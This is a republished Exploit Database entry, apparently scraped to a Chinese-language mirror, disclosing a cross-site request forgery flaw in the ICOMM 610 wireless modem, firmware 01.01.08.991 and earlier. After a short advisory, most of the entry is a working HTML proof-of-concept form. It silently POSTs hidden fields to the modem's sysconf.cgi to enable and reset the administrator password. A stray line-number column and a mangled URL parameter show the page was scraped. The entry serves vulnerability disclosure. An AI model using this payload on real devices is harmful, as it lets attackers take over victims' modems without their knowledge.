ICOMM 610 Wireless Modem – Cross-Site Request Forgery

Exploit Database
112 阅读

作者： Blessen Thomas

日期： 2014-04-12
类别：
- remote
平台：
- hardware
来源：https://www.exploit-db.com/exploits/39138/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

source: https://www.securityfocus.com/bid/66593/info

ICOMM 610 is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.

ICOMM 610 01.01.08.991 and prior are vulnerable.

<html>

<body>

<form action="http://www.example.com/cgi-bin/sysconf.cgi?page=personalize_password.asp&sid=rjPd8QVqvRGX×tamp=1396366701157" method="POST">

<input type="hidden" name="PasswdEnable" value="on" />

<input type="hidden" name="New_Passwd" value="test" />

<input type="hidden" name="Confirm_New_Passwd" value="test" />

<input type="submit" value="Submit request" />

</form>

</body>

</html>